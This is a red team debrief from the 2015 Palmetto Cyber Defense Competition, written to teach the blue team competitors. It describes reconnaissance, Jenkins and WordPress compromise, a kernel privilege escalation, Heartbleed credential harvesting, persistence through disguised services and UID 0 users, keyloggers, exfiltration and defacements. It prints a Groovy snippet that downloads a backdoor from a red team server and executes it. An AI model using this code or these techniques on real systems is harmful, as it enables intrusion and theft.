PCDC Red Team Write-Up 2015

The purpose of this write-up is to provide the 2015 Palmetto Cyber Defense Competition (PCDC) Blue Teams with a detailed technical summary of Red Team actions performed during the competition. Unlike similar cyber defense competitions, PCDC ran 3 separate iterations of the competition this year for varying skill levels: high school, college, and professional. Since the competition is open to the public, the end of the day Red Team debriefs had to be kept at a high level as to avoid revealing too much information regarding techniques, tactics, and procedures (TTPs) for the following competition days.

In general, the Red Team plan of attack was split up into a couple of areas. Mainly, Scanning, Enumeration, and Reconnaissance, Initial Access and Persistence, Exfiltration, Havoc and Mayhem. The following sections of this write up will describe the general approach used for each of the Red Team attack stages.

Scanning, Enumeration, and Reconnaissance

When PCDC was first started it became clear to the competition organizers that by the end of the day, the Red Team usually had a better picture of what the Blue Team networks looked like than the actual Blue Teams. From the Red Team perspective, it appears that the Blue Teams really progressed this year in enumerating their own networks. That is a positive change and shows that this event really is working. Even still, the entire time the Blue Teams are securing and configuring their networks, the Red Team is scanning to find every machine on the target networks, enumerating every port and service, and performing research and reconnaissance on their targets in order to be ready begin the offensive as soon as waiting period is over.

To accomplish the information gathering, the Red Team is given the subnets for each of the Blue Teams. From there, a multitude of nmap scans, vulnerability scans, brute force enumeration and discovery scans, and manual exploration set the basis for target network information gathering. Quickly, the Red Team was able to put together that the Blue Teams were running a game development company, machine host names were inspired by old PC games, Blue Team assets sat at IP addresses where the 4th octet was a prime number, and a list of company employees (which we used to determine usernames) was on the web site. Additionally, the competition premise was that the Red Team consists of former employees of the target game development company. As a result, the Red Team knew of a couple key aspects. First, we knew of a ‘hidden’ device on the network, a Raspberry Pi, valuable assets to the company, and in the case of Pro Day, a backdoor on the Slackware virtual machine, Doom.

During this first phase, the Red Team used the Raspberry Pi on the Blue Team networks to perform ARP cache poisoning between most of the workstation and servers and each Blue Teams’ default gateway. This allowed us to collect cleartext credentials, observe traffic interactions to begin understanding which machines the Blue Team members were actively engaged with, and begin planning how to reroute normal Blue Team traffic to malicious sites, or perform malicious content injection. Once this stage came to an end, we began gaining access to Blue Team assets.

Initial Access and Persistence

The Red Team was able to gain initial access to a variety of systems. The following is a list of systems the Red Team compromised and how it was done:

Unauthenticated User Access to the Jenkins The Jenkins servers were setup to allow unauthenticated guest access, which in turn, allowed anonymous users to create new accounts at any privilege level. The Red Team used this to quickly create new administrator accounts on the Jenkins server. From here, the Red Team was able to gain direct command execution via two different methods, and steal two SSH private keys. Jenkins provides users with the ability to execute commands through Command Prompt and a Groovy scripting console. Both of these were used to download Red Team backdoors, run them, and call back to Red Team servers. The following link provides a more in-depth description of how to hack Jenkins with no passwords: https://www.pentestgeek.com/2014/06/13/hacking-jenkins-servers-with-no-password/ For those that are interested, the following piece of Groovy code was used to actually download Red Team backdoors and execute it once on the target system: def url = 'http://10.2.x.x/pcdc.exe' def file = new File('system.exe').newOutputStream() file << new URL(url).openStream() file.close() println “system.exe”.execute().text

Stolen Keys One of the SSH keys stolen from the Jenkins server was for the root user on the web server. With this, the Red Team would SSH in with root credentials to the web server and begin establishing persistence. This included adding new users, changing a lot of file permissions, and generally making it difficult for the Blue Teams to properly administer their boxes.

WordPress Some Blue Teams were quick to lock out SSH access to the web servers. Most still left a vulnerable plugin running on their WordPress powered website. As a result, the Red Team was able to create new users and upload PHP backdoors. The following screen shot shows an example of this action: But this wasn’t the only way into the WordPress administrative account. The second way relied on the fact that WordPress stores all of its information in a MySQL database. In the above screenshot, this WordPress administrative account didn’t guarantee the Red Team a lot of access on the web server. The PHP backdoor was still running as the apache user. On a few Blue Teams, apache was in the sudoers file and this let the Red Team gain a root shell. Other Blue Teams correctly secured their users, and as a result, the Red Team had to get root via another method. It turns out that the web servers were running CentOS 7 kernel version 3.10 and was vulnerable to CVE-2014-3153. Here is a screen shot from a successful privilege escalation via kernel exploit: MySQL Root Login The MySQL databases allowed for remote root login with no password. With this, the Red Team was able to do a couple of things. First the Red Team could extract stored WordPress credentials and crack them with JohnTheRipper or oclhashcat, or even easier, simply overwrite the current administrator’s hashed password with a known password hash. WordPress makes this pretty easy since the database actually stores the salt used to calculate the password hash.

HeartBleed ESXi This section is mostly for the Pro Day, but this technique did have some limited success during the first two days as well. For most of the day, the Red Team ran a HeartBleed script that constantly exploited the vulnerability on each Blue Teams’ ESXi server and searched the contents for root logins and cleartext passwords. This attack vector was especially fruitful for the Blue Teams that it did work on for a variety of reasons. The first and biggest is gaining root on any server is a big deal. Second, not many Blue Teams actively lock their virtual machine sessions. As a result, the Red Team was able to login directly into Blue Team ESXi servers with vSphere clients and simply open unlocked and already authenticated console sessions to the virtual machines on the servers.

Default Passwords As it tends to happen in PCDC style competitions, the Red Team was able to get into a variety of systems by leveraging default credentials. In this context, default credentials are anything that the system has set at the beginning of the competition. So even if the credentials aren’t factory default, they are still default if that’s how the system was configured at the start of the competition. Throughout the course of the competition, the Red Team got into the Cisco Wireless Access Points, Cisco Adaptive Security Appliances, and the Cisco switches all with default credentials.

More Persistence

As some of the initial access methods described, once on a box, the Red Team’s primary goal was to maintain that access via a variety of persistence methods. For PCDC this year, the Red Team used a wider variety of persistence mechanisms than ever before: Meterpreter, Beacon persistence, and backdoors as services, additional administrative users, multiple keyloggers, custom stagers, and special firewall rules and ACLs.

Meterpreter, Beacon Persistence, and Backdoor as a Service These persistence mechanisms were deployed in a variety of modes to create the illusion of Blue Team effectiveness. Persistent at multiple privilege levels, some Blue Teams never found the original source of the persistence and would play Meterpreter whack-a-mole all day long. On the Linux side, the Red Team created persistent backdoors that looked like normal systemd services and cron jobs to restart the service if it ever stopped.

Additional Administrative Users One of the first things the Red Team does on a Linux system is create another user with UID 0, alter the sudoers file, and mangle file permissions to make it very difficult to change the system user configuration back to a normal or secure setting. On domain based Windows machines, the Red Team would add domain Administrators or promote a regular domain user to domain Administrator in order to move about the domain more easily.

Multiple Keyloggers This year, the Red Team brought a common userspace keylogger bundled with Meterpreter and Beacon, but supplemented that with a custom written driver level keylogger. Although the Red Team didn’t really need to use them, a couple of times the keyloggers grabbed additional credentials or showed what the Blue Teams may be focusing on:

Custom Stager Like the custom keylogger, the custom stager was meant to supplement already available tools to provide a more exciting challenge for this year’s competition. The custom stager was used to call back to a command server at a predefined interval and run Red Team specified commands. Its main purpose was to inject Meterpreter executables into different processes and divert Blue Teams’ attentions to that issue instead of the custom stager.

Firewall Rules and ACLs The Red Team leveraged the access gained on the Wireless APs, switches, and ASAs to create a variety of custom firewall rules and ACLs. This allowed the Red Team to keep coming back into Blue Team networks. Exfiltration

One of the goals this year for PCDC was to make the experience more realistic for both the Blue Teams and the Red Team. One way this was accomplished was by introducing flags onto the Blue Team systems that the Red Team was responsible for collecting. The flags were designed to reflect areas of financial loss to the Blue Teams. Some of the flags included source code to the company’s video game, customers’ credit card numbers, employee termination letters, and other company information like injects. As the Red Team captured flags, the Blue Teams lost points.

A few of the flags were made accessible to the Red Team via poor access controls. Termination letters sat on a publically available file share which allowed anonymous guest access, the credit card numbers were stored in a MySQL database that allowed root remote login with no password, and the source code was retrievable after the Git SSH private key was located on the Jenkins server.

Additional items that the Red Team exfiled included /etc/shadow and /etc/passwd files from Linux systems so they could be pulled back and used to crack password hashes with corresponding usernames. In a few rare cases, the Red Team even made backups of Blue Team systems so that they could be held for ransom following a destruction event. This type of action emulates the ransomware malware that has grown in popularity over the past few years.

Havoc and Mayhem

One of the most entertaining parts of participating on the Red Team every year is the ability to have fun with the Blue Team members. This year the Red Team demonstrated their comedic side with an unprecedented level of memes and website defacements. The goal of using funny pictures and the like to deface websites is not purely for the enjoyment of the Red Team. The Blue Teams are under a lot of pressure during the day of competition. As a Blue Team member, when you see your website defaced with a copy of your Twitter profile picture edited to display the text “You mad, bro?!” you’re more likely to laugh it off and relax as opposed to growing more frustrated if the Red Team were to just delete your website completely.

This also applies to when Nyan cat is the only thing your computer can do after a reboot, Stephen Colbert and Kermit the Frog make an appearance on your desktop, MC Hammer dances across your screen in his parachute pants, Doge is your top blog post. The following pictures are a few of the Red Team’s favorite defacements:

Closing Thoughts

This year’s PCDC the Red Team aimed to step up their skill level. Judging from the results of all three days, it would seem that the goal was achieved. It truly is a testament to the Blue Teams that the Red Team needs to improve their TTPs. As the Blue Teams get better, so too must the Red Team. Often times, people get the wrong impressions about cyber defense competitions. This is not a Red vs. Blue exercise. This is an opportunity for skilled security professionals on the Red Team to deliver an educational lesson unparalleled in the classroom for the High School and College competition days. In the case of the Professional competition day, this is an opportunity to facilitate fast paced cyber threat and responses in a highly compressed format. In short, this is an educational exercise for both Red and Blue Teams.

The Red Team does not go into the competition with the mindset of beating the Blue Teams. The mindset is about educating Blue Team competitors while simultaneously refining new and experimental TTPs. Every member of the Red Team loves participating in PCDC and is already planning the strategies for next year.